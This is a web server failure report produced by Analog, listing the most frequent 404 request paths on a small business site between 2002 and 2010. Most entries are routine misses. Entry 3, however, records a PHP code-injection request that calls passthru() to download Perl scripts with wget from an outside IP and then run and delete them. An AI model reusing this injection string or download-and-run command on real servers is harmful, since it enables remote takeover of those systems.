The Failure Report identifies requests that were made to the server that resulted in an error such as a '404 Document Not Found'. These errors can be caused by a mistyped URL or a broken link on a referring page.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
| File Name | Number of requests | |
|---|---|---|
| 1. | /robots.txt | 36,570 |
| /robots.txt?84.179.72.206 | 61 | |
| /robots.txt?152.163.188.229 | 54 | |
| /robots.txt?155.188.254.1 | 26 | |
| /robots.txt?124.115.0.17 | 22 | |
| /robots.txt?68.52.72.216 | 14 | |
| 2. | /favicon.ico | 8,042 |
| 3. | /report/REFERRER.html&rush=echo _START_%3B cd /tmp;mkdir .temp;cd .temp;wget http://61.85.234.215/.zk/msn.txt;wget http://61.85.234.215/.zk/coll.txt;wget http://61.85.234.215/.zk/g.txt;perl msn.txt;rm msn.txt;perl coll.txt;rm coll.txt;perl g.txt;rm g.txt%3B echo _END_&highlight=%2527.passthru($HTTP_GET_VARS[rush]).%2527'; | 756 |
| 4. | /index_files/filelist.xml | 662 |
| 5. | /index_files/editdata.mso | 635 |
| 6. | /wholesale_christmas_trees.html | 473 |
| 7. | /produce_files/filelist.xml | 424 |
| 8. | /orders_files/filelist.xml | 408 |
| 9. | /About CB_files/filelist.xml | 401 |
| 10. | /Wholesale_files/filelist.xml | 396 |
| 11. | /produce_files/editdata.mso | 392 |
| 12. | /orders_files/editdata.mso | 367 |
| 13. | /About CB_files/editdata.mso | 360 |
| 14. | /Wholesale_files/editdata.mso | 355 |
| 15. | /Transportation_files/filelist.xml | 281 |
| 16. | /Transportation_files/editdata.mso | 272 |
| 17. | /About+CB.htm | 147 |
| 18. | /--WEBBOT-SELF-- | 117 |
| 19. | /_derived/nortbots.htm | 100 |
| 20. | /wholesale.htm | 93 |
| 21. | /transportation.htm | 71 |
| 22. | /about cb.htm | 62 |
| 23. | /cgi-bin/formmail.pl | 58 |
| 24. | /xerr404notfoundpage.htm | 58 |
| 25. | /favicon.gif | 55 |
| 26. | /MSOffice/cltreq.asp | 52 |
| /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614&STRMVER=4&CAPREQ=0 | 18 | |
| /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=5606&STRMVER=4&CAPREQ=0 | 10 | |
| 27. | /_vti_bin/owssvr.dll | 52 |
| /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614&STRMVER=4&CAPREQ=0 | 18 | |
| /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=5606&STRMVER=4&CAPREQ=0 | 10 | |
| 28. | http://www.critcherbrothers.com/robots.txt | 51 |
| 29. | / | 44 |
| 30. | /index.php | 43 |
| [not listed: 614] | 1,421 | |
This report was generated on November 2, 2010 01:47.
Report time frame May 12, 2002 06:42 to November 2, 2010 01:38.
| Web statistics report produced by: | |
Analog 5.22 | Report Magic for Analog 2.13 |